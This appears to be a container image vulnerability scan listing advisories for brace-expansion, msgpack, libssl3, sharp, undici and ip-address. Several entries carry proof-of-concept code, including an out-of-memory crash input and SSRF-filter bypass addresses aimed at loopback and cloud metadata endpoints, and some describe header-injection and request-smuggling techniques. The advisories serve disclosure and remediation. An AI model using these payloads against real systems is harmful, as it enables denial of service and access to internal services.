EPSS Score0.643%
EPSS Percentile49th percentile
Description

Summary

expand() bounds the number of results it produces (the max option,
100_000 by default) but not their length. By chaining many brace groups,
an attacker keeps the result count under max while making every result grow
with the number of groups. Building max long results — plus the intermediate
arrays combined at each brace group — exhausts memory and crashes the Node
process with an uncatchable out-of-memory error. try/catch around
expand() does not help: the fatal error terminates the process.

A ~7.5 KB input ('{a,b}'.repeat(1500)) is enough to crash a default Node
process.

Details

For N chained brace groups such as '{a,b}'.repeat(N):

  • the result count is 2^N, immediately capped at max (100_000), so the
    max protection appears to hold, but
  • each result is N characters long, so the total output size is
    max × N characters, which grows without bound in N.

expand_ combines each brace set with the fully-expanded tail:

const post = m.post.length ? expand_(m.post, max, false) : ['']
...
for (let j = 0; j < N.length; j++) {
  for (let k = 0; k < post.length && expansions.length < max; k++) {
    const expansion = pre + N[j] + post[k]   // grows one group longer per level
    ...
    expansions.push(expansion)
  }
}

The loop guard expansions.length < max limits how many strings are built, but
nothing limits how long they get. Each recursion level materializes another
array of up to max strings, one character longer than the level below, and —
because V8 represents pre + N[j] + post[k] as a cons-string (rope) that
references post[k] — those intermediate strings stay reachable through the
whole chain. Memory therefore scales with max × N.

Measured on 5.0.7 ('{a,b}'.repeat(N), default max):

groups (N) input bytes result count peak RSS
20 100 100,000 ~80 MB
50 250 100,000 ~214 MB
100 500 100,000 ~409 MB
300 1,500 100,000 ~1,148 MB
1500 7,500 — OOM crash

Proof of concept

const { expand } = require('brace-expansion')

// ~7.5 KB input — crashes the process with a fatal, uncatchable OOM:
//   FATAL ERROR: ... JavaScript heap out of memory
try {
  expand('{a,b}'.repeat(1500))
} catch (e) {
  // never reached — the process is already dead
}

Impact

Any application that passes attacker-influenced strings to
brace-expansion.expand() — directly, or transitively via minimatch / glob
brace patterns — can be crashed by a small request. Because the failure is a
fatal V8 out-of-memory error rather than a thrown exception, it cannot be caught
and it takes down the whole worker/process, denying service.

Remediation

Upgrade to a patched release. The fix bounds the total number of characters a
single expand() call may accumulate (EXPANSION_MAX_LENGTH, default
4_000_000, configurable via a new maxLength option), applied inside the
output-building loops so intermediate arrays are bounded too. Once the limit is
reached, output is truncated — consistent with how max already truncates —
instead of growing without bound. The limit sits well above any realistic
expansion (100,000 results hitting max measure ~1M characters), so legitimate
input is unaffected.

After the fix, '{a,b}'.repeat(1500) returns a bounded, truncated result in
~0.7 s using ~340 MB and never crashes, including under a constrained 512 MB
heap.

The fix bounds memory but the algorithm still rebuilds intermediate arrays at
each level (roughly O(N × maxLength) work on this input class). A streaming
rewrite that produces output in O(total output size) can be a non-urgent
follow-up.

If immediate upgrade isn't possible, avoid passing untrusted input to
expand() / glob brace patterns, or pass a small explicit max and
maxLength.

critical: 0 high: 2 medium: 0 low: 0 msgpack 1.1.2 (pypi)

pkg:pypi/msgpack@1.1.2

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 7.5: GHSA--6v7p--g79w--8964 Use After Free

Affected range<=1.2.0
Fixed version1.2.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Description

Impact

If the Unpacker is used repeatedly after an error occurs, the process may crash with a SEGV.

If the Unpacker is used repeatedly to unpack untrusted input from external sources, it may be vulnerable to a DoS attack.

Patches

v1.2.1

Workarounds

Users should create a new Unpacker instead of reusing the same Unpacker after an error occurs.

Applying the above patch can prevent SEGV, but reusing the Streaming Unpacker after it has encountered an error will not yield correct data. If an error occurs during Streaming Unpacking, the Stream and Streaming Unpacker should be discarded.

Therefore, this is not just a workaround but the correct solution. The above patch only prevents crashes from incorrect usage.

high 7.5: CVE--2026--57585

Affected range<1.2.1
Fixed version1.2.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.488%
EPSS Percentile41st percentile
Description

MessagePack is the serializer implementation for Python msgpack.org. Prior to 1.2.1, there is an Out-of-bounds read/crash on Unpacker reuse after a caught error, potentially leading to a DoS attack. If the Unpacker is used repeatedly after an error occurs, the process may crash with a SEGV. This issue has been fixed in version 1.2.1.

critical: 0 high: 2 medium: 0 low: 0 libssl3 3.6.2-r2 (apk)

pkg:apk/wolfi/libssl3@3.6.2-r2?arch=x86_64&distro=wolfi

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

high : CVE--2026--54876

Affected range<3.6.3-r4
Fixed version3.6.3-r4
EPSS Score0.261%
EPSS Percentile18th percentile
Description

high : CVE--2026--14456

Affected range<3.6.3-r5
Fixed version3.6.3-r5
EPSS Score0.729%
EPSS Percentile53rd percentile
Description
critical: 0 high: 2 medium: 0 low: 0 libssl3 3.6.2-r2 (apk)

pkg:apk/wolfi/libssl3@3.6.2-r2?arch=x86_64&origin=openssl

# Dockerfile (1:14)
FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS builder

ARG INSTALL_SOURCE
ARG PYTHON_VERSION

# skipcq: DOK-DL3018
RUN apk add --no-cache build-base git uv

USER nonroot

RUN --mount=type=cache,target=/root/.cache/uv \
    uv tool install ${INSTALL_SOURCE} --python ${PYTHON_VERSION}

FROM cgr.dev/chainguard/wolfi-base:latest@sha256:1af610c4a70668dad46159ee178b20378c79a49b554f76405670fc442d30183a AS production

high : CVE--2026--54876

Affected range<3.6.3-r4
Fixed version3.6.3-r4
EPSS Score0.261%
EPSS Percentile18th percentile
Description

high : CVE--2026--14456

Affected range<3.6.3-r5
Fixed version3.6.3-r5
EPSS Score0.729%
EPSS Percentile53rd percentile
Description
critical: 0 high: 2 medium: 0 low: 0 sharp 0.33.5 (npm)

pkg:npm/sharp@0.33.5

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 8.9: GHSA--rgj7--g3m4--5g8c Heap-based Buffer Overflow

Affected range<0.35.4
Fixed version0.35.4
CVSS Score8.9
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Description

Impact

A number of vulnerabilities, two rated as "Critical" severity using CVSSv3, have been discovered and fixed in the upstream libheif dependency. These can lead to possible remote code execution (RCE) on glibc-based Linux when run under certain conditions.

The attack vector for these claims to be "network" however sharp does not provide any networking features so this vulnerability is down-rated to a "High" severity using CVSSv4 but please note its Subsequent System Impact.

Those processing untrusted input with versions of sharp prior to 0.35.4 are affected.

Patches

Using prebuilt binaries provided by sharp?

Most people rely on the prebuilt binaries provided by sharp.

Please upgrade sharp to the latest version, currently 0.35.4, which provides libheif 1.23.2.

Using a globally-installed libheif?

Please ensure you are using the latest libheif 1.23.2.

Workarounds

Add the following to your code to prevent sharp from decoding AVIF images.

sharp.block({ operation: ["VipsForeignLoadHeif"] });

Ensure you are using a node executable binary compiled as a Position Independent Executable (PIE). Most Linux package managers already do this for protection against RCE however be warned that the "official" Node.js binaries do not.

References

high 7.0: GHSA--f88m--g3jw--g9cj Dependency on Vulnerable Third-Party Component

Affected range<0.35.0
Fixed version0.35.0
CVSS Score7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:H/SC:N/SI:N/SA:N
Description

Impact

A number of vulnerabilities, two rated as "High" severity using CVSSv4, have been discovered and fixed in the upstream libvips dependency.

Those processing untrusted input with versions of sharp prior to 0.35.0 are affected.

Patches

Using prebuilt binaries provided by sharp?

Most people rely on the prebuilt binaries provided by sharp.

Please upgrade sharp to the latest version, currently 0.35.3, which provides libvips 8.18.3.

Using a globally-installed libvips?

Please ensure you are using the latest libvips 8.18.3.

Workarounds

Add the following to your code to prevent sharp from decoding GIF, TIFF and VIPS images.

sharp.block({ operation: ["VipsForeignLoadNsgif", "VipsForeignLoadTiff", "VipsForeignLoadVips"] });
critical: 0 high: 1 medium: 4 low: 2 undici 6.26.0 (npm)

pkg:npm/undici@6.26.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 7.5: CVE--2026--12151 Uncontrolled Resource Consumption

Affected range<6.27.0
Fixed version6.27.0
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.789%
EPSS Percentile55th percentile
Description

Impact

The undici WebSocket client enforces maxPayloadSize on the cumulative byte count of fragments in a message but does not enforce a limit on the number of fragments. A malicious WebSocket server can stream many small or empty continuation frames that each pass per-frame and cumulative-size validation, collectively causing unbounded memory growth in the client process. The result is memory exhaustion and a denial of service.

Affected applications are those using the undici WebSocket client (new WebSocket(...)) or the WebSocketStream API that can be induced to connect to an attacker-controlled or compromised WebSocket endpoint.

All releases starting at undici 6.17.0 are affected.

Patches

Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.

Workarounds

No workaround is available. The fix must be applied through an upgrade.

medium 5.9: CVE--2026--9679 Improper Neutralization of CRLF Sequences ('CRLF Injection')

Affected range<6.27.0
Fixed version6.27.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.257%
EPSS Percentile18th percentile
Description

Impact

undici's cookie parser in parseSetCookie percent-decodes cookie values via qsUnescape, turning encoded sequences like %0D%0A, %00, %3B, and %3D into their literal byte equivalents. RFC 6265 §5.4 does not specify any decoding and browsers do not decode either.

Applications that parse a Set-Cookie header and then forward the parsed value into a response header (proxies, middleware, SSR frameworks) become vulnerable to HTTP response header injection: an attacker-controlled upstream can inject arbitrary Set-Cookie, Location, or Cache-Control headers into the application's downstream response, enabling session fixation, open redirect, or cache poisoning.

Affected applications are those that use undici's cookie parsing (parseSetCookie, parseCookie, getSetCookies) and forward the parsed cookie value into a response header.

This was introduced in undici 7.0.0 via #3789.

Patches

Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.

Workarounds

If upgrade is not immediately possible, do not forward values returned by parseSetCookie/parseCookie/getSetCookies directly into response headers; sanitize the value first to strip or reject CR, LF, NUL, ;, and = bytes.

medium 4.8: CVE--2026--16729 Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')

Affected range<6.28.0
Fixed version6.28.0
CVSS Score4.8
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.191%
EPSS Percentile9th percentile
Description

Impact

The setCookie function has two attribute injection paths. validateCookieDomain does not reject semicolons (validateCookiePath already does at 0x3B), so a domain value like example.com; SameSite=None lands verbatim as Domain=example.com; SameSite=None. The unparsed array's loop only checks each entry contains = and does not sanitize values, so an entry like X-Custom=val; HttpOnly lands unchanged, injecting HttpOnly without the caller setting cookie.httpOnly = true.

Applications that pass user-controlled input to these fields, typically multi-tenant or reverse-proxy servers that scope session cookies to a tenant-supplied domain, can have SameSite CSRF protections bypassed, Secure or HttpOnly forced or stripped, or the intended SameSite tier overridden.

Patches

Patched in undici v6.28.0, v7.29.0, and v8.9.0.

Workarounds

  • Sanitize domain values against the RFC 1034 letter-digit-hyphen set before passing to setCookie.
  • Do not pass user-controlled data to the unparsed field.

medium 4.8: CVE--2026--16728 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')

Affected range<6.28.0
Fixed version6.28.0
CVSS Score4.8
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.176%
EPSS Percentile7th percentile
Description

Impact

Undici's interceptors.retry() can deliver a response whose body length does not match the Content-Length header exposed to the application after a retry or resume of a partial response. Applications that use interceptors.retry() and forward upstream response headers and bodies downstream, for example proxy or gateway applications, may emit an invalid HTTP response with a stale Content-Length header. This can lead to downstream response desynchronization, connection hangs, or response corruption in clients or intermediaries that rely on the forwarded framing metadata.

A malicious or faulty upstream can respond to a range request with a 206 Partial Content response such as:

Content-Range: bytes 0-99/300
Content-Length: 300

and then send only 99 bytes before closing the socket. interceptors.retry() can then retry with Range: bytes=99-99, receive the final byte, and deliver a 100-byte body to the application while the response headers still contain Content-Length: 300 from the first response.

The bug requires interceptors.retry() to be enabled, an upstream that returns a partial response with a mismatched framing header, and a downstream forwarder that does not remove or recalculate Content-Length.

Patches

Patched in undici v6.28.0, v7.29.0, and v8.9.0. Users should upgrade to one of these versions or later.

Workarounds

  • Disable interceptors.retry() for untrusted upstreams.
  • Remove or recalculate Content-Length before forwarding a response body assembled or transformed by Undici.

medium 4.2: CVE--2026--15157 Improper Neutralization of CRLF Sequences ('CRLF Injection')

Affected range<6.28.0
Fixed version6.28.0
CVSS Score4.2
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N
EPSS Score0.193%
EPSS Percentile9th percentile
Description

Impact

When an application passes a duck-typed blob-like body to undici's HTTP/1.1 dispatcher (via request(), stream(), pipeline(), or dispatch()) with a .type derived from untrusted input, an attacker can inject CRLF sequences (\r\n) to append arbitrary HTTP headers and potentially smuggle a second request past the upstream.

The vulnerable branch in lib/dispatcher/client-h1.js pushes body.type directly into the outgoing headers with no validation, while every other header path in undici goes through isValidHeaderValue():

} else if (util.isBlobLike(body) && request.contentType == null && body.type) {
  headers.push('content-type', body.type)  // bypasses isValidHeaderValue()
}

The bug requires a hand-rolled duck-typed blob object or a Blob subclass with a controlled .type. Native Blob is safe because its constructor strips CRLF from .type. fetch() is unaffected because it validates via the Headers class. Ecosystem consumers that build duck-typed blob shapes from user input include form-data-encoder, formdata-polyfill, and formdata-node.

Same defect class as CVE-2022-35948 (explicit content-type sink, fixed in undici 5.8.2) and CVE-2026-1527 (upgrade option sink, fixed in 6.24.0 / 7.24.0), both closed by adding isValidHeaderValue() on their respective sinks. This branch was missed.

Patches

Patched in undici v6.28.0, v7.29.0, and v8.9.0. Users should upgrade to one of these versions or later.

Workarounds

  • Set an explicit, validated content-type header on the request options (skips the vulnerable branch).
  • Use a native Blob (or fetch-blob) instead of a hand-rolled duck-typed object.
  • Reject control characters in the MIME type before assigning it to .type.
  • Use fetch() instead of the non-fetch APIs.

low 3.7: CVE--2026--6733 Time-of-check Time-of-use (TOCTOU) Race Condition

Affected range<6.27.0
Fixed version6.27.0
CVSS Score3.7
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score0.220%
EPSS Percentile13th percentile
Description

Impact

Undici's HTTP/1.1 client is vulnerable to response queue poisoning on reused keep-alive sockets. An attacker-controlled upstream server can inject an unsolicited HTTP/1.1 response onto an idle socket after a request completes. When the client dispatches the next request on that socket, it associates the injected response with the new request, causing responses to be delivered to the wrong requests.

This requires an attacker-controlled or compromised upstream HTTP/1.1 server and keep-alive connection reuse.

Patches

Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.

Workarounds

Disable keep-alive connection reuse by setting keepAliveTimeout: 0 on the Client or Pool.

low 3.7: CVE--2026--11525 Permissive List of Allowed Inputs

Affected range<6.27.0
Fixed version6.27.0
CVSS Score3.7
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N
EPSS Score0.238%
EPSS Percentile15th percentile
Description

Impact

When undici parses a Set-Cookie header, it accepts any SameSite attribute value that contains Strict, Lax, or None as a substring, rather than the case-insensitive exact match specified by RFC 6265. Non-spec values are silently mapped to one of the three standard tokens:

  • SameSite=NoneOfYourBusiness is parsed as None, the most permissive setting.
  • SameSite=StrictLax is parsed as Lax, a downgrade from Strict.

Affected applications are those that consume Set-Cookie headers from server responses (for example via undici's fetch or proxy code paths) and then forward or rely on the parsed sameSite attribute. A malicious or non-compliant server can coerce the consumer's view of a cookie's SameSite policy to a weaker value, silently degrading the SameSite enforcement the cookie is supposed to provide.

This was introduced in undici 5.15.0 when the cookies feature was added.

Patches

Upgrade to undici v6.27.0, v7.28.0 or v8.5.0.

Workarounds

After parsing a Set-Cookie header, validate that the resulting sameSite attribute is one of 'Strict', 'Lax', or 'None' (exact, case-insensitive) before forwarding or relying on it.

critical: 0 high: 1 medium: 2 low: 0 ip-address 10.2.0 (npm)

pkg:npm/ip-address@10.2.0

# Dockerfile (28:28)
COPY --from=builder --chown=nonroot:nonroot --chmod=555 /home/nonroot/.local/ /home/nonroot/.local/

high 7.7: CVE--2026--69192 Improper Input Validation

Affected range<=10.3.0
Fixed version10.3.1
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N
EPSS Score0.505%
EPSS Percentile42nd percentile
Description

Summary

Address4 accepts an octet written with a leading zero and decodes it as decimal, while the WHATWG URL host parser, inet_aton, and getaddrinfo all decode a leading zero as octal. The library and the network stack therefore disagree about which host a string names. new Address4('012.0.0.1') reports correctForm() of 12.0.0.1 and isPrivate() of false, but fetch('http://012.0.0.1/') connects to 10.0.0.1.

An application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) will classify an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.

Details

Address4.parse gates untrusted input on RE_ADDRESS (src/v4/constants.ts:5), whose per-octet alternative is:

(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)

The [01]?[0-9][0-9]? branch matches a leading zero, so 012 passes validation. Every downstream decode then reads the octet with parseInt(part, 10) (src/common.ts:87), yielding 12. A resolver reading the same string treats the leading 0 as base 8 and yields 10.

The defect is in the parse gate rather than in any one classifier, so every consumer of Address4 inherits it: isPrivate(), isLoopback(), isLinkLocal(), isCGNAT(), isInSubnet(), isHostInSubnet(), and correctForm() are all computed from the mis-decoded octets.

Address6 already rejects this notation on its IPv4-in-IPv6 path, throwing "IPv4 addresses can't have leading zeroes." (src/ipv6.ts:751-762), so Address4 is the outlier within the library.

Affected versions

<= 10.3.0. Unlike GHSA-22jq-vg5j-6vgg and GHSA-4xrf-jv44-h6hh, which were bounded below by the is* classification API introduced in 10.1.1, this defect is in parse and reaches every release: a guard built on isInSubnet() against the RFC 1918 ranges is affected in versions predating that API.

Impact

The disagreement runs in both directions. Under-blocking is the security-relevant case; over-blocking is a correctness and availability problem.

Input correctForm() Classified as Resolver reaches Effect
012.0.0.1 12.0.0.1 public 10.0.0.1 internal target allowed
012.012.012.012 12.12.12.12 public 10.10.10.10 internal target allowed
010.0.0.1 10.0.0.1 private 8.0.0.1 public target blocked

Reachable targets are those whose leading octet is expressible as a three-character octal literal, which covers the whole of 10.0.0.0/8 and 0.0.0.0/8. A four-character octet such as 0177 for 127 is rejected by the regex, so loopback is not reachable through this path; see the note on rejection below for why rejection is not the same as safety.

Reachability

A leading-zero address is a legal URL host, so this is reachable through the ordinary URL path with no unusual application shape required:

new URL('http://012.0.0.1/').hostname   // '10.0.0.1'

This distinguishes it from GHSA-4xrf-jv44-h6hh, where the /0 CIDR suffix could not survive URL parsing and exploitation therefore required an application that accepted a bare suffix-bearing string. Here the attack rides the same code path a normal user-supplied URL takes.

Proof of concept

npm i ip-address@<!-- -->10.3.0, then:

const { Address4 } = require('ip-address');

// A guard of the shape the library documents.
function isBlocked(host) {
  return Address4.isValid(host) && new Address4(host).isPrivate();
}

for (const h of ['10.0.0.1', '012.0.0.1', '012.012.012.012']) {
  console.log(isBlocked(h) ? 'BLOCK' : 'ALLOW', h,
              '-> resolver reaches', new URL('http://' + h + '/').hostname);
}

On affected versions:

BLOCK 10.0.0.1 -> resolver reaches 10.0.0.1
ALLOW 012.0.0.1 -> resolver reaches 10.0.0.1
ALLOW 012.012.012.012 -> resolver reaches 10.10.10.10

The literal RFC 1918 address is blocked as expected; the octal-ambiguous spellings of the same destinations are allowed through.

Remediation

Upgrade to the patched release. In the fix, Address4.parse rejects any octet with a leading zero followed by further digits, mirroring the check Address6 already applies at src/ipv6.ts:751, and RE_ADDRESS is tightened so those forms no longer appear in the valid corpus. After upgrading, Address4.isValid('012.0.0.1') returns false and the constructor throws AddressError.

This rejects input that previous releases accepted. An application that deliberately feeds zero-padded addresses such as 010.010.010.010 from a legacy system must strip the padding before parsing.

If you cannot upgrade immediately, reject any host whose octets carry a leading zero before you parse it:

if (host.split('.').some((octet) => /^0\d/.test(octet))) throw new Error('ambiguous address');

A note on SSRF defense

These methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the resolved IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.

One specific pitfall is worth naming, because the fix above does not remove it. Address4.isValid() returning false means "this is not a dotted-quad IPv4 literal"; it does not mean "this is not an address that will reach an internal host". Every one of the following is rejected by isValid() and still resolves to loopback:

0177.0.0.1    0x7f.0.0.1    0x7f000001    2130706433
127.1         127.0.1       127.0.0.1.    127.0.0.1

A guard shaped if (Address4.isValid(h)) { check() } else { treatAsHostname() } therefore routes all of them past the IP check. Rejecting these is correct behavior for an IPv4 parser and is not changed by this advisory, but a guard must treat "not a valid literal" as a case to resolve and re-check, never as a case to allow.

medium 6.9: CVE--2026--69198 Improper Input Validation

Affected range>=10.1.1
<=10.2.1
Fixed version10.2.2
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N
EPSS Score0.414%
EPSS Percentile35th percentile
Description

Summary

Every special-use classification method is built on isInSubnet, which short-circuits to false whenever the address's own subnet mask is shorter than the reference range's mask. That mask comes verbatim from the CIDR suffix on the parsed input, so appending a suffix such as /0 suppresses classification entirely: isLoopback(), isPrivate(), isLinkLocal(), isCGNAT(), isMulticast(), isUnspecified(), isBroadcast(), isULA(), and getType() all report an internal address as unremarkable, while correctForm() and address still return the real internal target.

An application that builds a network trust-boundary decision on these checks (for example a filter intended to block Server-Side Request Forgery, or SSRF) may therefore treat an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.

Details

isInSubnet in src/common.ts opens with a guard that compares the two prefix lengths:

export function isInSubnet(this, address) {
  if (this.subnetMask < address.subnetMask) {
    return false;                                  // <-- reached before any bit comparison
  }

  if (this.mask(address.subnetMask) === address.mask()) {
    return true;
  }

  return false;
}

That guard is correct for the question isInSubnet is named for — whether one network is contained in another, where a /0 network genuinely is not inside a /8. It is wrong for classification, which asks a question about the address itself and must not depend on the prefix the caller happened to write. /0 is shorter than every reference prefix in the special-use tables (loopback /8, link-local /16, CGNAT /10, ULA /7, multicast /4), so for a classification call the bit comparison is never reached and the method returns false.

The underlying bit comparison is correct, and mask(n) already returns the first n bits of the full parsed address independently of subnetMask — the defect is solely that the containment guard sits in the classification path. Host bits are retained through parsing, so correctForm() still yields the real target and the address remains fully usable for connecting.

/0 is the universal case because it is shorter than every reference prefix, but any suffix shorter than the specific range being tested has the same effect: 10.0.0.5/7 defeats isPrivate() for 10.0.0.0/8.

Affected versions

>= 10.1.1, <= 10.2.1. The is* classification API was introduced for Address4 in 10.1.1 and extended to Address6 in 10.2.0; releases before 10.1.1 do not expose it and are not affected through this vector. The containment guard itself is much older, but isInSubnet alone is a subnet-containment predicate whose behavior here is correct.

This also defeats the fix released in 10.2.1 for GHSA-22jq-vg5j-6vgg: that release classifies IPv4-mapped and NAT64 addresses by their embedded IPv4 address, but the normalization is reached through isInSubnet, so ::ffff:127.0.0.1/0 reverts to being reported as non-internal.

Impact

Every classifier is affected on both Address4 and Address6. The sole exception is Address6.isLinkLocal() for native fe80::/10 addresses, which compares raw bits directly; its IPv4-mapped path is still affected.

Address Reported as Actually points at
127.0.0.1/0 not loopback loopback (127.0.0.0/8)
10.0.0.1/0, 10.0.0.5/7 not private RFC 1918 10/8
172.16.5.5/0 not private RFC 1918 172.16/12
192.168.1.1/0 not private RFC 1918 192.168/16
169.254.169.254/0 not link-local link-local / cloud metadata (IMDS)
100.64.0.1/0 not CGNAT CGNAT 100.64/10
0.0.0.0/0, 255.255.255.255/0 not unspecified / not broadcast unspecified / broadcast
::1/0 not loopback IPv6 loopback
fc00::1/0 not ULA, not private IPv6 ULA fc00::/7
ff02::1/0 not multicast IPv6 multicast
::ffff:127.0.0.1/0 not loopback loopback, via IPv4-mapped
::ffff:169.254.169.254/0 not link-local IMDS, via IPv4-mapped
64:ff9b::7f00:1/0 not loopback loopback, via NAT64

getType() returns Global unicast for all of the IPv6 cases above, and getScope() follows it.

Reachability

A CIDR suffix is not legal in a URL host, so this is not reachable through the most common SSRF shape. new URL('http://127.0.0.1/0') parses hostname as 127.0.0.1 and pathname as /0, and a guard that classifies the extracted hostname is unaffected. Exploitation requires an application that accepts a bare address string that may carry a suffix and passes it to the constructor before classifying — for example an allow/deny field, a webhook target, or a proxy destination taken as a plain host rather than parsed out of a URL.

Proof of concept

npm i ip-address@<!-- -->10.2.1, then:

const { Address4, Address6 } = require('ip-address');

// true => block as internal, false => allow outbound
function isBlocked(host) {
  try {
    const a = new Address4(host);
    return a.isPrivate() || a.isLoopback() || a.isLinkLocal() || a.isCGNAT()
        || a.isMulticast() || a.isUnspecified() || a.isBroadcast();
  } catch {}
  try {
    const a = new Address6(host);
    return a.isPrivate() || a.isLoopback() || a.isLinkLocal() || a.isULA()
        || a.isMulticast() || a.isUnspecified();
  } catch {}
  return false;
}

for (const h of ['127.0.0.1', '10.0.0.1', '::1',
                 '127.0.0.1/0', '10.0.0.5/7', '169.254.169.254/0',
                 '::1/0', '::ffff:127.0.0.1/0', '64:ff9b::7f00:1/0']) {
  console.log(isBlocked(h) ? 'BLOCK ' : 'ALLOW ', h, '->', new (h.includes(':') ? Address6 : Address4)(h).correctForm());
}

On affected versions every suffixed internal target is allowed, and correctForm() shows the request would reach the real internal address:

BLOCK  127.0.0.1 -> 127.0.0.1
BLOCK  10.0.0.1 -> 10.0.0.1
BLOCK  ::1 -> ::1
ALLOW  127.0.0.1/0 -> 127.0.0.1
ALLOW  10.0.0.5/7 -> 10.0.0.5
ALLOW  169.254.169.254/0 -> 169.254.169.254
ALLOW  ::1/0 -> ::1
ALLOW  ::ffff:127.0.0.1/0 -> ::ffff:7f00:1
ALLOW  64:ff9b::7f00:1/0 -> 64:ff9b::7f00:1

The first three lines are blocked as expected; the same destinations with a CIDR suffix are allowed through.

Remediation

Upgrade to the patched release. In the fix, classification no longer consults the address's own prefix: a new isHostInSubnet() compares the address's host bits against the reference range only, and every classifier (isLoopback, isPrivate, isLinkLocal, isCGNAT, isMulticast, isUnspecified, isBroadcast, isULA, isMapped4, isTeredo, is6to4, isDocumentation, getType, and the IPv4-mapped/NAT64 normalization behind embeddedIPv4) uses it. isInSubnet keeps its subnet-containment semantics unchanged, including the guard that a wider network is not contained in a narrower one. After upgrading, new Address4('127.0.0.1/0').isLoopback() returns true.

If you cannot upgrade immediately, strip the suffix before classifying by re-parsing addressMinusSuffix:

const parsed = new Address4(userInput);
const host = new Address4(parsed.addressMinusSuffix);   // classify this one

A note on SSRF defense

These methods are address classifiers, not a complete SSRF defense. Regardless of this fix, a robust SSRF guard must resolve the hostname and validate the resolved IP against the socket it connects to, and account for DNS rebinding and redirects. Treat these checks as one layer, not the only one.

Credit

Reported by @hi-im-glitchless.

medium 6.9: CVE--2026--54272 Improper Input Validation

Affected range>=10.1.1
<=10.2.0
Fixed version10.2.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:H/SI:N/SA:N
EPSS Score0.350%
EPSS Percentile29th percentile
Description

Summary

Address6's special-property checks misclassify IPv4-mapped (::ffff:0:0/96) and NAT64 well-known (64:ff9b::/96) IPv6 addresses. These checks classify an address by its IPv6 wrapper rather than by the IPv4 address it embeds, so isLoopback(), isLinkLocal(), isMulticast(), and isUnspecified() all return false for literals such as ::ffff:127.0.0.1 or ::ffff:169.254.169.254 that actually route to loopback, RFC 1918, or link-local (cloud-metadata) destinations. Address6 also had no isPrivate() method, so a mapped RFC 1918 address could not be detected at all.

An application that builds a network trust-boundary decision on these checks (for example, a filter intended to block Server-Side Request Forgery, or SSRF) may therefore treat an internal target as external and allow the request. SSRF is an attack in which a user-supplied address coaxes the server into making a request to an internal destination the user could not otherwise reach, such as a loopback service or a cloud metadata endpoint.

Details

Address6.getType() classifies an address by matching it against a table of known IPv6 special-use prefixes, returning Global unicast when nothing matches. That table had no entry for the IPv4-mapped range (::ffff:0:0/96), so every mapped address fell through to Global unicast; NAT64 addresses matched their own NAT64 … labels. The boolean checks isLoopback, isUnspecified, and isMulticast compared getType() against a fixed label and so returned false, while isLinkLocal and isULA checked only the native IPv6 ranges.

The library already exposed isMapped4() and to4(), but did not apply them inside these checks, so a mapped or NAT64 address was never normalized to its embedded IPv4 address before classification. The underlying CIDR matching is correct; the defect is that the special-use table omitted the IPv4-mapped range and the checks performed no embedded-IPv4 normalization.

Affected versions

